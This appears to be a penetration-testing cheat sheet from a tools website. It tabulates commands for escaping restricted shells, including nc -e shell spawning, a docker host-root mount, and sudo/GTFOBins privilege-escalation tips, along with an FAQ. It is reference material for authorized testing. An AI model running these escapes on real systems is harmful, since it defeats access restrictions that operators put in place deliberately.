Restricted Shell Escape Techniques: Quick Reference Table

A searchable table of escape commands for rbash, a chroot jail, or any login shell that blocks cd, PATH changes, or commands containing a slash — plus the handful of tricks worth more than a one-liner.

This is reference material for authorized penetration testing and lab environments. Only use these techniques on systems you own or are explicitly authorized to test.

A restricted shell usually blocks a handful of things: changing directories, exporting PATH, running anything containing /, or redirecting output. These escapes work because many common binaries can spawn their own subshell once launched — and that subshell is not restricted.

Start here

echo $SHELL
echo $PATH
compgen -c
type -a cd ls export

Quick reference

BinaryCategoryEscape command
pythoninterpreterpython -c 'import os; os.system("/bin/bash")'
python2interpreterpython2 -c 'import os; os.system("/bin/bash")'
python3interpreterpython3 -c 'import pty; pty.spawn("/bin/bash")'
perlinterpreterperl -e 'exec "/bin/bash";'
phpinterpreterphp -r 'system("/bin/bash");'
rubyinterpreterruby -e 'exec "/bin/bash"'
luainterpreterlua -e 'os.execute("/bin/bash")'
awkinterpreterawk 'BEGIN {system("/bin/bash")}'
nodeinterpreternode -e 'require("child_process").spawn("/bin/bash", {stdio: "inherit"})'
tclshinterpreterecho 'exec /bin/bash <@stdin >@stdout 2>@stderr' | tclsh
wishinterpreterecho 'exec /bin/bash <@stdin >@stdout 2>@stderr' | wish
vimeditor:!/bin/bash
vieditor:!/bin/bash
vieweditor:!/bin/bash (read-only mode doesn't block the shell escape)
ededitor!/bin/bash
exeditor!/bin/bash
nanoeditorCtrl+R Ctrl+X, then: reset; sh 1>&0 2>&0
picoeditorCtrl+R Ctrl+X, then: reset; sh 1>&0 2>&0
lesspager!/bin/bash
morepager!/bin/bash (not all builds support this)
manpageropens a pager, then: !/bin/bash
sshnetworkssh -o ProxyCommand=';sh 0<&2 1>&2' x
telnetnetworkCtrl+], then at the telnet> prompt: !/bin/bash
ftpnetwork!/bin/bash
sftpnetwork!/bin/bash
scpnetworkscp -S /bin/sh x y:
ncnetworknc -e /bin/bash 127.0.0.1 4444 (needs a listener: nc -lvp 4444)
socatnetworksocat stdin exec:'/bin/bash -li',pty,stderr,setsid,sigint,sane
nmapnetworkecho 'os.execute("/bin/sh")' > /tmp/x.nse && nmap --script=/tmp/x.nse
findsystemfind / -name whatever -exec /bin/bash \; -quit
gitsystemgit help status, then: !/bin/bash
tarsystemtar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
mysqlsystemmysql -e '\! /bin/bash'
psqlsystemat the psql prompt: \! /bin/bash
dockersystemdocker run -v /:/mnt --rm -it alpine chroot /mnt sh
kubectlsystemkubectl exec -it <pod> -- /bin/sh
scriptsystemscript -qc /bin/bash /dev/null
asciinemasystemasciinema rec /tmp/x.cast (spawns your shell; Ctrl+D stops recording)
expectsystemexpect -c 'spawn /bin/bash; interact'

No binary matches that filter.

Notes and caveats

Restoring a sane environment once you're out

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
/bin/bash -i

Before anything else, check sudo

Many "restricted shell" boxes are solved through allowed sudo commands rather than a shell escape at all:

sudo -l

If any listed binary appears on GTFOBins, that is usually the faster path, since it also hands you the privilege level of whichever user sudo allows.

Related: iptables: allow a port from specific IPs, iptables command not found, SSH -L forward: empty reply on localhost.

FAQ

What is a restricted shell?

A login shell such as rbash, or a custom shell set as a user's login shell, that blocks changing directories, exporting certain variables, or running commands containing a slash.

Why does launching an editor or interpreter bypass the restriction?

The restriction is enforced by the login shell itself. A program launched from inside it, such as an editor or interpreter, can start its own unrestricted subprocess, which the login shell has no control over.

Do all of these work out of the box?

No. Some depend on how the binary was built or what access you already have — a few builds strip out the shell-escape feature, nc's -e flag isn't always compiled in, and docker or kubectl need you to already have daemon or cluster access rather than just the client installed. Test each one against the target rather than assuming it will work.

What should I check first if none of these work?

Run sudo -l to see what you are allowed to run with elevated privileges, and check any allowed binaries against GTFOBins.

© PacketUtils. Tools run in your browser. Review every command before using it in production.HomeAboutContactPrivacy PolicyGitHub